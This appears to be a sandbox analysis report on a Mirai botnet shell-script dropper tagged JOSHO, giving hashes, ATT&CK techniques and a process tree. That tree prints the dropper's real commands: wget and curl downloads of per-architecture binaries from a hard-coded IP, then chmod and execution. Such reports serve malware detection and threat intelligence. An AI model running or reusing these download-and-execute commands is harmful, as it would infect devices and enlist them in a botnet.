mirai | 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a

Analysis

max time kernel
139s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/11/2024, 03:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
Size 1KB
Sample241103-d3grlstema
SHA256 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a
MD5 708cae4cf814c3deda4208da228fad4e
SHA1 36718f87b1a7d742a991f06f7ce396f70d457861
SHA512 58584fc22497be264b532dbad3bbf88c0a13a133266c75013fea1d4a2fba025ac4422885afb4cd1caa57380c5ac842ea5a15df3eb77fdae5a34950c25ae94bfd
MD5 SHA1 SHA512

Score

10^/10

mirai josho antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

JOSHO

Extracted

Family

mirai

Botnet

JOSHO

Extracted

Family

mirai

Botnet

JOSHO

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod
721	chmod
776	chmod
803	chmod
821	chmod
700	chmod
748	chmod
760	chmod
813	chmod
829	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/3AvA	690	3AvA
/tmp/3AvA	702	3AvA
/tmp/3AvA	723	3AvA
/tmp/3AvA	750	3AvA
/tmp/3AvA	761	3AvA
/tmp/3AvA	778	3AvA
/tmp/3AvA	804	3AvA
/tmp/3AvA	814	3AvA
/tmp/3AvA	822	3AvA
/tmp/3AvA	830	3AvA

Modifies Watchdog functionality 1 TTPs 8 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA

Changes its process name 4 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	p3ec3a00nh414on2o	804	3AvA
Changes the process name, possibly in an attempt to hide itself	m3kp1m4ncf2jhhch1n	814	3AvA
Changes the process name, possibly in an attempt to hide itself	dgp2phe3gogia5ne3ao	822	3AvA
Changes the process name, possibly in an attempt to hide itself	dfmoegokoabfc2d1mb0	830	3AvA

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
693	wget
694	curl
699	cat

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Josho.m68k	curl
File opened for modification	/tmp/3AvA	9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
File opened for modification	/tmp/Josho.m68k	wget
File opened for modification	/tmp/Josho.arm5	curl
File opened for modification	/tmp/Josho.sh4	wget
File opened for modification	/tmp/Josho.mpsl	wget
File opened for modification	/tmp/Josho.arm5	wget
File opened for modification	/tmp/Josho.arm6	wget
File opened for modification	/tmp/Josho.arm7	curl
File opened for modification	/tmp/Josho.ppc	wget
File opened for modification	/tmp/Josho.sh4	curl
File opened for modification	/tmp/Josho.mips	wget
File opened for modification	/tmp/Josho.arm4	curl
File opened for modification	/tmp/Josho.mips	curl
File opened for modification	/tmp/Josho.mpsl	curl
File opened for modification	/tmp/Josho.arm6	curl
File opened for modification	/tmp/Josho.arm7	wget
File opened for modification	/tmp/Josho.ppc	curl
File opened for modification	/tmp/Josho.x86	wget
File opened for modification	/tmp/Josho.x86	curl

/tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
/tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
1⤵
- Writes file to tmp directory
PID:657
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.x86
  2⤵
  - Writes file to tmp directory
  PID:662
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:679
- /bin/cat
  cat Josho.x86
  2⤵
  PID:688
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:690
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:693
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:694
- /bin/cat
  cat Josho.mips
  2⤵
  - System Network Configuration Discovery
  PID:699
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.mips Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:702
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.mpsl
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/cat
  cat Josho.mpsl
  2⤵
  PID:720
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:723
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm4
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/cat
  cat Josho.arm4
  2⤵
  PID:747
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm5
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat Josho.arm5
  2⤵
  PID:759
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:761
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm6
  2⤵
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/cat
  cat Josho.arm6
  2⤵
  PID:774
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.mips Josho.mpsl Josho.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-eHDken
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:778
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm7
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/cat
  cat Josho.arm7
  2⤵
  PID:802
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:804
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.ppc
  2⤵
  - Writes file to tmp directory
  PID:807
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.ppc Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:814
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.m68k
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:822
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.sh4
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.sh4 Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:830

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3AvA

Path /tmp/3AvA
Size 67KB
SHA256 4bee1419ae6dcdee90de4ba370577d2713743d4a472eb2b1332340cef1422662
MD5 9008278c8d10f1fd784983ffc069faec
SHA1 14a1a461deb79a39ca005346e38b0481f6946c30
SHA512 cd4154033799a05942f2d1a798df3f9e022315c4badebb77803d28de436b58b8664f7317bb53491eeb4190c151992e2dade6f0d28bba839a89246e260bfe22ff
SSDEEP 768:sklXdDZfWi+DmBfizI8CZ0vwLlyitTDdtTPFSWcRjX+CPPota93pWj4UpapRr4+G:3fiza0vwhyGbcR0a936oRc+gR
MD5 SHA1 SHA512 SSDEEP

Submit Download

3AvA

Path /tmp/3AvA
Size 70KB
SHA256 3d0c1001389a6b3580bc477d8dd1e68f0b94a6129d6b5beda6d454d927c4422a
MD5 af8e817b07939d959d307a416d258cfd
SHA1 ab3eb7aaa9bbafd61cf7dddc83496d440b5fe75d
SHA512 b5aa5bfcd5c66b9db09c2c9704cde7115904a0939e5df575338c4f329ecdfd98b945ce5d61f481f0c5aadc573a672e4435d5d6a8d0aa002072632a52b59e78e6
SSDEEP 768:7iKG5Ms2q+BxL9MxHOXZlIInQ3UWKe8geRegEeycuZxNZ9XiwKBy73:762q+T9MxQyIT+49E3ZZxNLKBo
MD5 SHA1 SHA512 SSDEEP

Submit Download

3AvA

Path /tmp/3AvA
Size 273B
SHA256 e1a584ae665c789448ddba3b2bf07c27e2534015652877a7a11b43fa65ceb66a
MD5 ecedc8ce500e01f46e5796e0c64c04c5
SHA1 98ed45666f19436643f3c7b7cae9e66aead3b6d4
SHA512 4504b91bc589e027ab90a3e8a1f70e2154558f3de2f1d4581f1c719d61c4c206003e8f4fb1d6a7b2d6b8f4547e0484ef9056982b871b9cc516ae55ebf064803f
MD5 SHA1 SHA512

Submit Download

3AvA

Path /tmp/3AvA
Size 49KB
SHA256 77566591c92e1a5fcb39640c0baac39c64e3f4a8edbfbea2d460d6e0e9a012b9
MD5 9e986491ad3fc1211741b74a2feca65c
SHA1 ed05055f8f2cd304451bc548b623cf61b4e7e8bc
SHA512 ba140744ba55d1648e5cadbde62c31ab6547142c645a34b50cd614e6ffe608a6178fca0a6f26c370f574b58e0f03e1ea4910785558e03b85ad9b2830d5b3db5d
SSDEEP 1536:RV6mvPP4XkHTwaQjMVA08uH7LcdpoMe38V:P6oPP4XkokLJF38
MD5 SHA1 SHA512 SSDEEP

Submit Download

3AvA

Path /tmp/3AvA
Size 127KB
SHA256 1094058dedfd00ae067f0b452f180bc30e39615a69e65caf736983aaeb416ec3
MD5 347fc8e2607d34e192ab144bfeab8a83
SHA1 cd32af7a5842e66a8dafe2f3b9840e92822f73f2
SHA512 0b38af60f801f44d97776aebfa26f855cb4264085eade022c5e179aeeb3a68a24ccba47051a64b3f660b10a046c77d521fde947daca41b543d802175af207d69
SSDEEP 3072:K5t+WKBfr6AaFunbrvRuNbBdaB+RM/92hDA:K54WKBfpaFunbDRiaBsM/9GDA
MD5 SHA1 SHA512 SSDEEP

Submit Download

Josho.x86

Path /tmp/Josho.x86
Size 47KB
SHA256 4308ed406a8de64eb3ca4e6accc27d10794e960a4631590cab569cf734f3d3e9
MD5 53677bdb064aafe349e4abc36aa7fe75
SHA1 f15ef44055153f9dcb254fb9254f518a366fcaa8
SHA512 45517017c721ced8bf8d956b456eae21f985bfeaff31902c3ac29e368b3a0d437b834fb443a70689a2ef205fc8c1b69974708c169ca9ff7d793a33027fb29dd1
SSDEEP 768:123dsPuGMj1Kh6t6JXCKuaatRrvvEofkig7JmW3yOjEe87zkxF:YdsPuNj1Kh6tsSKuaatRrvvEof67JL3l
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads